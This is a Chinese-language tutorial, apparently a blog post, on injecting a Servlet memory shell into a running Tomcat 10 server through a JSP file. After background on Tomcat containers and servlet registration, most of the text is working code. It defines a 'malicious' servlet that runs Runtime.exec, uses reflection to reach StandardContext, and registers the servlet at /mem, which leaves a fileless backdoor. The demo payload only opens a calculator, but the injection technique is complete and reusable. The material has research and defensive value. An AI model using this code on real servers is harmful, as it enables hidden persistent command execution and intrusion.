前置知识
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。
例如https://manage.xxx.com:8080/user/list的请求过程:
JSP代码实现过程
JSP全程Java Server Pages,Jsp经过转换编译以后会变成Servlet,而Servlet的本质就是一个Java类。
创建Servlet
使用IntelliJ IDEA 2024.3.5进行创建一个简单的Servlet,IDEA的版本要使用专业版的不然不能创建JavaEE。
Tomcat版本:10.1.40
JDK版本:Java11
新建项目,选择JavaEE进行新建项目。
下一步后会进入如下窗口,Version选择与自己Java版本相同的版本,然后选择Servlet其他全部默认。
然后点击创建会新建一个含有Servlet的项目。
该Servlet通过注解实现对路径的映射关系,Servlet的名字是helloServlet
,对应的路径是/hello-servlet
点击运行Tomcat来运行该项目。
启动项目后,访问Servlet对应的路径。
前面的/Memshell1_war_exploded路径是新建该项目时默认的路径,启动项目默认打开该的路径。
也可以自己创建一个java类文件,然后加载到servlet中,这里创建一个MyServlet.java
文件
package com.example.memshell1;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("My Servlet");
}
}
然后添加将该类的映射关系添加到web.xml文件中,web.xml文件中需要添加servlet和servlet-mapping,其中servlet-name为servlet的名字可以随意命令,servlet-class为对应类的全类名。servlet-mapping中servlet-name为servlet的名字与servlet中的servlet-name保持一直,url-pattern为servlet的路径映射,当访问这个路径是就会执行对应的servlet。
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>com.example.memshell1.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/my</url-pattern>
</servlet-mapping>
保存修改后的文件,重新启动服务,访问设置好的/my路径就会调用我们写好的servlet,这里成功执行了新建的Servlet的内容。
JSP文件注入内存马
要注入Servlet内存马,就需要动态的将servlet加载到Tomcat服务上。
ContextConfig#configureContext(Webxml webxml)是在ContextConfig这个类的configureContext(Webxml webxml)函数中进行加载servlet的。
而ContextConfig这个类来自于tomcat-catalina中,版本要选择跟运行版本一直的tomcat版本
默认是没有tomcat-catalina这个依赖的,需要在pom.xml中自行进行引入
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>10.1.40</version>
</dependency>
上述加载依赖有误,以下是正确的依赖加载(加载操作是一致的)
重新加载完依赖后,然后我们全局搜索ContextConfig这个类文件。
然后在这个类中找到configureContext(WebXml webxml)函数
在这个函数的地方设置断点然后运行程序进行dubeg,查看这个函数传入的对象所带的值。
这个传入的webxml对象存在servlets和servletMappings,其中servlets中是程序的servlet,而servletMappings中是servlet和路径的映射关系。
configureContext(WebXml webxml)函数其实就相当于加载web.xml中的配置文件,然后将配置文件中的内容加载至context中。
可以把鼠标放在context上可以查看到对象类型是StandardContext类型。
在这个函数中真正把servlet添加到context中的是for (ServletDef servlet : webxml.getServlets().values())
这个for循环它将servlet有关的参数封装到wrapper对象中又通过context的addChild()方法添加到context中,然后又通过for (Entry<String,String> entry : webxml.getServletMappings().entrySet())
这个for循环将servlet的映射关系提添加到context中,这个context对象又是StandardContext类型的。
所以如果要想在程序运行的时候添加Serlvet,就需要获取到StandardContext类型的对象并调用addChild(wrapper)方法和addServletMappingDecoded(entry.getKey(), entry.getValue())方法来进行添加servlet。
通过反射获取StandardContext
可以通过断点来通过req对象来查找于StandardContext相关的对象
如上图,我们可以通过req.getServletContext()来获取ServletContext的对象实例ApplicationContextFacade,然后通过反射获取该对象的context字段的值也就是ApplicationContext对象实例,然后再通过ApplicationContext对象实例通过反射获取其context字段对应的值为StandardContext的对象实例。然后通过StandardContext对象实例来添加Servlet。
注入Servlet内存马
创建恶意类
通过反射获取StandardContext
通过StandardContext的createWrapper()方法创建wrapper对象
通过wrapper对象的setName()、setServletClass()、setServlet()方法将servlet封装到wrapper中
通过StandardContext的addChild()和addServletMappingDecodedd()方法来添加Servlet和映射关系
1、创建恶意类
在JSP文件中创建声明恶意类
<%!
//定义恶意的Servlet
public class MemServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
2、通过反射获取StandardContext
//通过反射获取StandardContext
ServletContext servletContext = request.getServletContext();
//通过servletContext拿到applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
//设置可访问权限
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
//通过applicationContext拿到StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
第二种获取StandardContext方法,参考
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
3、通过StandardContext的createWrapper()方法创建wrapper对象
Wrapper wrapper = standardContext.createWrapper();
4、通过wrapper对象的setName()、setServletClass()、setServlet()方法将servlet封装到wrapper中
wrapper.setName("memshell");
wrapper.setServletClass(MemServlet.class.getName());
wrapper.setServlet(new MemServlet());
这里设置servlet的名字为memshell,并设置class和实例化对象。
5、通过StandardContext的addChild()和addServletMappingDecodedd()方法来添加Servlet和映射关系
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/mem","memshell");
这里将封装好的wrapper添加到Standardcontext中,并添加映射关系,当访问/mem是就会执行我们注入的恶意servlet,前提是先访问这个shell.jsp文件
先访问shell.jsp
然后访问注入的/mem路径来触发servlet内存马。
至此Servlet内存马已经注入
总结
通过反射获取StandardContext对象实例,并通过StandardContext的createWrapper()方法创建Wrapper对象,将恶意的servlet封装到Wrapper中,然后通过StandardContext的addChild()方法添加至对象中,并通过addServletMappingDecoded()方法来添加映射关系,添加进StandardContext实例对象中后续就会被Tomcat服务器加载并生成对应Servlet容器。这个过程实现了在运行时动态地向Tomcat中添加Servlet。
参考链接
https://github.com/W01fh4cker/LearnJavaMemshellFromZero